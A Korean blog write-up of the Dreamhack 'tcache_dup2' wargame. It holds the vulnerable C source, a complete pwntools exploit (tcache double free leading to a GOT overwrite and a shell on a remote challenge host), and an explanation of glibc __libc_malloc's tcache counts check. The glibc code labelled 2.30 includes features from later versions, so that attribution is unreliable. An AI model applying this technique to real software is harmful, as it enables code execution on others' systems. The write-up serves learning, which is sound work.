TIL: tcache poisoning 2, __libc_malloc 🧐

Wargame: tcache_dup2

문제의 소스 코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
        size_t size;

        if( idx >= 7 )
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        ptr[idx] = malloc(size);

        if(!ptr[idx])
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size-1);

}

void modify_heap() {
        size_t size, idx;

        printf("idx: ");
        scanf("%ld", &idx);

        if( idx >= 7 )
                exit(0);

        printf("Size: ");
        scanf("%ld", &size);

        if( size > 0x10 )
                exit(0);

        printf("Data: ");
        read(0, ptr[idx], size);
}

void delete_heap() {
        size_t idx;

        printf("idx: ");
        scanf("%ld", &idx);
        if( idx >= 7 )
                exit(0);

        if( !ptr[idx] )
                exit(0);

        free(ptr[idx]);
}

void get_shell() {
        system("/bin/sh");
}
int main() {
        int idx;
        int i = 0;

        initialize();

        while(1) {
                printf("1. Create heap\n");
                printf("2. Modify heap\n");
                printf("3. Delete heap\n");
                printf("> ");

                scanf("%d", &idx);

                switch(idx) {
                        case 1:
                                create_heap(i);
                                i++;
                                break;
                        case 2:
                                modify_heap();
                                break;
                        case 3:
                                delete_heap();
                                break;
                        default:
                                break;
                }
        }
}

Vulnerability Scanning

• checksec

  

• 이전의 문제들과 거의 동일한 취약점을 가지므로 생략한다.

Exploit

from pwn import *

#p = process("./tcache_dup2")
p = remote("host1.dreamhack.games", 17936)
#gdb.attach(p)
e = ELF("./tcache_dup2")

def create(size, data):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def modify(idx, size, data):
    p.sendlineafter("> ", "2")
    p.sendlineafter("idx: ", str(idx))
    p.sendlineafter("Size: ", str(size))
    p.sendafter("Data: ", data)

def delete(idx):
    p.sendlineafter("> ", "3")
    p.sendlineafter("idx: ", str(idx))

# DFB
create(0x30, "A")
create(0x30, "A")

delete(0)
delete(1)

modify(1, 10, "AAAAAAAAB")
delete(1)

exit_got = e.got["exit"]
get_shell = e.symbols["get_shell"]

# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

delete(7) # exit을 실행

p.interactive()

• 문제에서 주어진 libc의 version이 2.30이므로 chunk의 key를 변경한 후 DFB를 일으켜야 한다.

• 이 exploit code에서는 exit_got를 overwrite했는데, printf나 free와 같은 다른 함수로 overwrite했을 경우 exploit이 실패하는 경우가 있었다. 이유를 파악하기 위해 got를 gdb로 확인해보면 아래와 같다.

  

  printf_got + 8 == read_got, free_got + 8 == puts_got임을 확인할 수 있다. 이 상태에서 printf_got나 free_got를 대상으로 read(0, ptr[idx], size - 1);을 실행하게 될 경우 size가 0x30이므로 read_got, puts_got의 값이 변화하게 될 것임을 알 수 있다.

  실제로 free_got를 대상으로 exploit을 한 후 gdb로 got의 변화를 확인하면 아래와 같다.

  

  free_got는 get_shell의 주소로 잘 overwrite되었지만, puts_got도 0으로 overwrite되었다. 이렇게 된 경우 이후 puts를 실행하게 되면 sigmentation fault가 발생하게 된다.

  (근데 왜 size가 0x30인데 딱 다음 byte인 puts_got만 overwrite되고, 그 다음 byte들은 온전한건지 잘 모르겠다..)

Exploit Code에서 tcache chunk를 하나 더 추가하는 이유

위의 exploit code를 보면 create(0x30, "A")를 두 번 실행하고, delete도 두 번 실행해서 일부러 tcache에 두 개의 chunk를 추가하는 모습을 확인할 수 있다. 이 과정은 glibc 2.27를 사용하는 local 환경에서는 필요하지 않았지만, glibc 2.30을 사용하는 remote 환경에서는 필수적이었는데, 어째서 이 부분이 필요하게 되었는지 찾아보았다. 이 과정에서 공부하게 된 내용을 기록한다.

glibc 2.30에서는 tcache에 존재하는 chunk의 개수를 count하는 변수(tcache→counts)가 존재한다. 만약 이 count가 0일 경우에는 __libc_malloc은 tcache_get을 실행하지 않고, __int_malloc으로 memory를 allocate한다.

__libc_malloc의 전체 흐름

(참고: https://wogh8732.tistory.com/181)

1. 가장 먼저 libc_malloc이 실행된다. _malloc_hook이 존재하면 hook을 실행한다.
2. tcache가 비어있다면 MAYBE_INIT_TCACHE를 실행한다.
   1. 이 함수 안에서 tcache_init이 실행된다.
   2. tcache_init에서 _int_malloc을 실행하여 tcache_perthread_struct chunk를 할당받는다
3. 요청된 size에 해당하는 tcache chunk가 존재한다면, (tcache→counts[tc_idx] > 0) tcache_get을 이용해 재할당한다.
4. Reallocate할 마땅한 chunk가 tcache에 없다면, _int_malloc을 실행한다.
5. Fastbin, Unsorted bin, Small bin을 확인하고, reallocate 가능한 chunk가 있다면 reallocate한다. 또한 tcache_entry[tc_idx]에 자리가 비어 있다면 tcache에 넣을 수 있는 만큼 bin들에 있는 chunk를 넣는다.
6. Reallocate한 chunk의 주소를 return한다.

tcache->counts의 사용을 Code로 확인하기

glibc 2.30의 malloc.c를 살펴보면, tcache->counts라는 변수의 작동 방식을 확인할 수 있다. (링크)

• 우선 counts는 아래와 같이 정의되어 있다.

    3112 typedef struct tcache_perthread_struct
    3113 {
    3114   uint16_t counts[TCACHE_MAX_BINS];
    3115   tcache_entry *entries[TCACHE_MAX_BINS];
    3116 } tcache_perthread_struct;
    3117
    3118 static __thread bool tcache_shutting_down = false;
    3119 static __thread tcache_perthread_struct *tcache = NULL;
  

• tcache_get, tcache_put에서 tcache_counts가 어떻게 사용되는지 살펴보자.

    3148 static __always_inline void
    3149 tcache_put (mchunkptr chunk, size_t tc_idx)
    3150 {
    3151   tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
    3152 
    3153   /* Mark this chunk as "in the tcache" so the test in _int_free will
    3154      detect a double free.  */
    3155   e->key = tcache_key;
    3156 
    3157   e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
    3158   tcache->entries[tc_idx] = e;
    3159   ++(tcache->counts[tc_idx]);
    3160 }
    3161 
    3162 /* Caller must ensure that we know tc_idx is valid and there's
    3163    available chunks to remove.  */
    3164 static __always_inline void *
    3165 tcache_get (size_t tc_idx)
    3166 {
    3167   tcache_entry *e = tcache->entries[tc_idx];
    3168   if (__glibc_unlikely (!aligned_OK (e)))
    3169     malloc_printerr ("malloc(): unaligned tcache chunk detected");
    3170   tcache->entries[tc_idx] = REVEAL_PTR (e->next);
    3171   --(tcache->counts[tc_idx]);
    3172   e->key = 0;
    3173   return (void *) e;
    3174 }
  

  • 3159번, 3171번 line에서 chunk가 tcache에 추가 및 제거될 때마다 tcache->counts[tc_idx]가 update됨을 확인할 수 있다.

• glibc 2.30의 __libc_malloc에서 tcache_counts가 어떻게 사용되는지 살펴보자.

    3258 #if IS_IN (libc)
    3259 void *
    3260 __libc_malloc (size_t bytes)
    3261 {
    3262   mstate ar_ptr;
    3263   void *victim;
    3264
    3265   _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2,
    3266                   "PTRDIFF_MAX is not more than half of SIZE_MAX");
    3267
    3268   if (!__malloc_initialized)
    3269     ptmalloc_init ();
    3270 #if USE_TCACHE
    3271   /* int_free also calls request2size, be careful to not pad twice.  */
    3272   size_t tbytes = checked_request2size (bytes);
    3273   if (tbytes == 0)
    3274     {
    3275       __set_errno (ENOMEM);
    3276       return NULL;
    3277     }
    3278   size_t tc_idx = csize2tidx (tbytes);
    3279
    3280   MAYBE_INIT_TCACHE ();
    3281
    3282   DIAG_PUSH_NEEDS_COMMENT;
    3283   if (tc_idx < mp_.tcache_bins
    3284       && tcache
    3285       && tcache->counts[tc_idx] > 0)
    3286     {
    3287       victim = tcache_get (tc_idx);
    3288       return tag_new_usable (victim);
    3289     }
    3290   DIAG_POP_NEEDS_COMMENT;
    3291 #endif
    3292
    3293   if (SINGLE_THREAD_P)
    3294     {
    3295       victim = tag_new_usable (_int_malloc (&main_arena, bytes));
    3296       assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    3297               &main_arena == arena_for_chunk (mem2chunk (victim)));
    3298       return victim;
    3299     }
    3300
    3301   arena_get (ar_ptr, bytes);
    3302
    3303   victim = _int_malloc (ar_ptr, bytes);
    3304   /* Retry with another arena only if we were able to find a usable arena
    3305      before.  */
    3306   if (!victim && ar_ptr != NULL)
    3307     {
    3308       LIBC_PROBE (memory_malloc_retry, 1, bytes);
    3309       ar_ptr = arena_get_retry (ar_ptr, bytes);
    3310       victim = _int_malloc (ar_ptr, bytes);
    3311     }
    3312
    3313   if (ar_ptr != NULL)
    3314     __libc_lock_unlock (ar_ptr->mutex);
    3315
    3316   victim = tag_new_usable (victim);
    3317
    3318   assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    3319           ar_ptr == arena_for_chunk (mem2chunk (victim)));
    3320   return victim;
    3321 }
      
  

  • 3285번 line에서 tcache_counts[tc_idx]가 0보다 커야만 tcache_get을 실행함을 확인할 수 있다.

• glibc 2.27의 __libc_malloc에서는 tcache_counts[tc_idx]의 값을 확인하지 않음을 아래에서 확인할 수 있다. (링크)

    3026 void *
    3027 __libc_malloc (size_t bytes)
    3028 {
    3029   mstate ar_ptr;
    3030   void *victim;
    3031 
    3032   void *(*hook) (size_t, const void *)
    3033     = atomic_forced_read (__malloc_hook);
    3034   if (__builtin_expect (hook != NULL, 0))
    3035     return (*hook)(bytes, RETURN_ADDRESS (0));
    3036 #if USE_TCACHE
    3037   /* int_free also calls request2size, be careful to not pad twice.  */
    3038   size_t tbytes;
    3039   checked_request2size (bytes, tbytes);
    3040   size_t tc_idx = csize2tidx (tbytes);
    3041 
    3042   MAYBE_INIT_TCACHE ();
    3043 
    3044   DIAG_PUSH_NEEDS_COMMENT;
    3045   if (tc_idx < mp_.tcache_bins
    3046       /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
    3047       && tcache
    3048       && tcache->entries[tc_idx] != NULL)
    3049     {
    3050       return tcache_get (tc_idx);
    3051     }
    3052   DIAG_POP_NEEDS_COMMENT;
    3053 #endif
    3054 
    3055   if (SINGLE_THREAD_P)
    3056     {
    3057       victim = _int_malloc (&main_arena, bytes);
    3058       assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    3059               &main_arena == arena_for_chunk (mem2chunk (victim)));
    3060       return victim;
    3061     }
    3062 
    3063   arena_get (ar_ptr, bytes);
    3064 
    3065   victim = _int_malloc (ar_ptr, bytes);
    3066   /* Retry with another arena only if we were able to find a usable arena
    3067      before.  */
    3068   if (!victim && ar_ptr != NULL)
    3069     {
    3070       LIBC_PROBE (memory_malloc_retry, 1, bytes);
    3071       ar_ptr = arena_get_retry (ar_ptr, bytes);
    3072       victim = _int_malloc (ar_ptr, bytes);
    3073     }
    3074 
    3075   if (ar_ptr != NULL)
    3076     __libc_lock_unlock (ar_ptr->mutex);
    3077 
    3078   assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
    3079           ar_ptr == arena_for_chunk (mem2chunk (victim)));
    3080   return victim;
    3081 }
  

결론

tcache에 존재하는 chunk의 개수를 세는 변수 tcache->counts[tc_idx]의 값을 신경쓰지 않고 아래와 같이 exploit을 위해 DFB를 일으켰다고 생각해보자.

# ...
# DFB
create(0x30, "A")

delete(0)

modify(0, 10, "AAAAAAAAB")
delete(0)

# overwrite GOT
create(0x30, p64(exit_got))
create(0x30, "AAAA")
create(0x30, p64(get_shell))

delete(7) # exit을 실행

p.interactive()

이 경우 tcache->counts[tc_idx]의 값이 DFB가 일어난 후에는 -1이 되므로, create(0x30, p64(exit_got))를 실행했을 때 __libc_malloc은 tcache에 있는 우리가 원하는 chunk가 아닌, 다른 chunk를 return할 것이고, 따라서 got overwriting이 실패하게 될 것이다.

따라서 tcache->counts[tc_idx]의 값이 0 이상이 되도록 기존의 exploit code처럼 하나의 chunk를 추가로 tcache에 넣어줘야 할 것이다.